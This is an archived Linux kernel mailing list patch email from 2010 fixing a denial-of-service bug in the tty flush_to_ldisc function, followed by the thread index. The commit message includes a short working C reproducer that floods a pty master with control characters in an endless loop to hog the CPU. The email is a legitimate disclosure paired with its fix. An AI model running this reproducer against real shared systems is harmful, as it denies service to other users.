From: Greg Kroah-Hartman <gregkh@suse.de>
To: linux-kernel@vger.kernel.org
Cc: Jiri Olsa <jolsa@redhat.com>, stable <stable@kernel.org>,
Greg Kroah-Hartman <gregkh@suse.de>
Subject: [PATCH 06/19] tty: prevent DOS in the flush_to_ldisc
Date: Fri, 12 Nov 2010 13:40:53 -0800 [thread overview]
Message-ID: <1289598066-10112-6-git-send-email-gregkh@suse.de> (raw)
In-Reply-To: <20101112213215.GB9294@kroah.com>
From: Jiri Olsa <jolsa@redhat.com>
There's a small window inside the flush_to_ldisc function,
where the tty is unlocked and calling ldisc's receive_buf
function. If in this window new buffer is added to the tty,
the processing might never leave the flush_to_ldisc function.
This scenario will hog the cpu, causing other tty processing
starving, and making it impossible to interface the computer
via tty.
I was able to exploit this via pty interface by sending only
control characters to the master input, causing the flush_to_ldisc
to be scheduled, but never actually generate any output.
To reproduce, please run multiple instances of following code.
- SNIP
#define _XOPEN_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(int argc, char **argv)
{
int i, slave, master = getpt();
char buf[8192];
sprintf(buf, "%s", ptsname(master));
grantpt(master);
unlockpt(master);
slave = open(buf, O_RDWR);
if (slave < 0) {
perror("open slave failed");
return 1;
}
for(i = 0; i < sizeof(buf); i++)
buf[i] = rand() % 32;
while(1) {
write(master, buf, sizeof(buf));
}
return 0;
}
- SNIP
The attached patch (based on -next tree) fixes this by checking on the
tty buffer tail. Once it's reached, the current work is rescheduled
and another could run.
Signed-off-by: Jiri Olsa <jolsa@redhat.com>
Cc: stable <stable@kernel.org>
Acked-by: Alan Cox <alan@lxorguk.ukuu.org.uk>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
---
drivers/tty/tty_buffer.c | 14 ++++++++++++--
1 files changed, 12 insertions(+), 2 deletions(-)
diff --git a/drivers/tty/tty_buffer.c b/drivers/tty/tty_buffer.c
index cc1e985..d8210ca 100644
--- a/drivers/tty/tty_buffer.c
+++ b/drivers/tty/tty_buffer.c
@@ -413,7 +413,8 @@ static void flush_to_ldisc(struct work_struct *work)
spin_lock_irqsave(&tty->buf.lock, flags);
if (!test_and_set_bit(TTY_FLUSHING, &tty->flags)) {
- struct tty_buffer *head;
+ struct tty_buffer *head, *tail = tty->buf.tail;
+ int seen_tail = 0;
while ((head = tty->buf.head) != NULL) {
int count;
char *char_buf;
@@ -423,6 +424,15 @@ static void flush_to_ldisc(struct work_struct *work)
if (!count) {
if (head->next == NULL)
break;
+ /*
+ There's a possibility tty might get new buffer
+ added during the unlock window below. We could
+ end up spinning in here forever hogging the CPU
+ completely. To avoid this let's have a rest each
+ time we processed the tail buffer.
+ */
+ if (tail == head)
+ seen_tail = 1;
tty->buf.head = head->next;
tty_buffer_free(tty, head);
continue;
@@ -432,7 +442,7 @@ static void flush_to_ldisc(struct work_struct *work)
line discipline as we want to empty the queue */
if (test_bit(TTY_FLUSHPENDING, &tty->flags))
break;
- if (!tty->receive_room) {
+ if (!tty->receive_room || seen_tail) {
schedule_delayed_work(&tty->buf.work, 1);
break;
}
--
1.7.1
next prev parent reply other threads:[~2010-11-12 21:43 UTC|newest]
Thread overview: 29+ messages / expand[flat|nested] mbox.gz Atom feed top
2010-11-12 21:32 [GIT PATCH] TTY/serial fixes for .37-rc1 Greg KH
2010-11-12 21:40 ` [PATCH 01/19] tty: the development tree is now done in git Greg Kroah-Hartman
2010-11-12 21:40 ` [PATCH 02/19] tty: Fix formatting in tty.h Greg Kroah-Hartman
2010-11-12 21:40 ` [PATCH 03/19] tty: fix warning in synclink driver Greg Kroah-Hartman
2010-11-12 21:40 ` [PATCH 04/19] nozomi: Fix warning from the previous TIOCGCOUNT changes Greg Kroah-Hartman
2010-11-12 21:40 ` [PATCH 05/19] 8250: add support for Kouwell KW-L221N-2 Greg Kroah-Hartman
2010-11-12 21:40 ` Greg Kroah-Hartman [this message]
2010-11-12 21:40 ` [PATCH 07/19] drivers/serial/bfin_5xx.c: Fix line continuation defects Greg Kroah-Hartman
2010-11-12 21:40 ` [PATCH 08/19] SERIAL: blacklist si3052 chip Greg Kroah-Hartman
2010-11-12 21:40 ` [PATCH 10/19] tty_ldisc: Fix BUG() on hangup Greg Kroah-Hartman
2010-12-07 21:00 ` Russ Dill
2010-11-12 21:40 ` [PATCH 11/19] 8250: Fix tcsetattr to avoid ioctl(TIOCMIWAIT) hang Greg Kroah-Hartman
2010-11-13 4:18 ` Alexey Zaytsev
2010-11-13 14:49 ` Greg KH
2010-11-13 17:42 ` Alan Cox
2010-11-13 19:22 ` Lawrence Rust
2010-11-13 23:49 ` Greg KH
2010-11-12 21:40 ` [PATCH 12/19] amiserial: Remove unused variable icount Greg Kroah-Hartman
2010-11-12 21:41 ` [PATCH 13/19] vcs: make proper usage of the poll flags Greg Kroah-Hartman
2010-11-12 21:41 ` [PATCH 14/19] serial: bfin_5xx: always include DMA headers Greg Kroah-Hartman
2010-11-12 21:41 ` [PATCH 15/19] serial: bfin_5xx: remove redundant SSYNC to improve TX speed Greg Kroah-Hartman
2010-11-12 21:41 ` [PATCH 16/19] serial: bfin_5xx: disable CON_PRINTBUFFER for consoles Greg Kroah-Hartman
2010-11-12 21:41 ` [PATCH 17/19] serial: bfin_5xx: grab port lock before making port termios changes Greg Kroah-Hartman
2010-11-12 21:41 ` [PATCH 18/19] n_gsm: Copy n2 over when configuring via ioctl interface Greg Kroah-Hartman
2010-11-12 21:41 ` [PATCH 19/19] n_gsm: Fix length handling Greg Kroah-Hartman
2010-11-13 15:10 ` [boot crash] Re: [GIT PATCH] TTY/serial fixes for .37-rc1 Ingo Molnar
2010-11-13 15:21 ` Ingo Molnar
2010-11-13 15:25 ` Ingo Molnar
2010-11-13 23:49 ` Greg KH
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=1289598066-10112-6-git-send-email-gregkh@suse.de \
--to=gregkh@suse.de \
--cc=jolsa@redhat.com \
--cc=linux-kernel@vger.kernel.org \
--cc=stable@kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
Powered by JetHome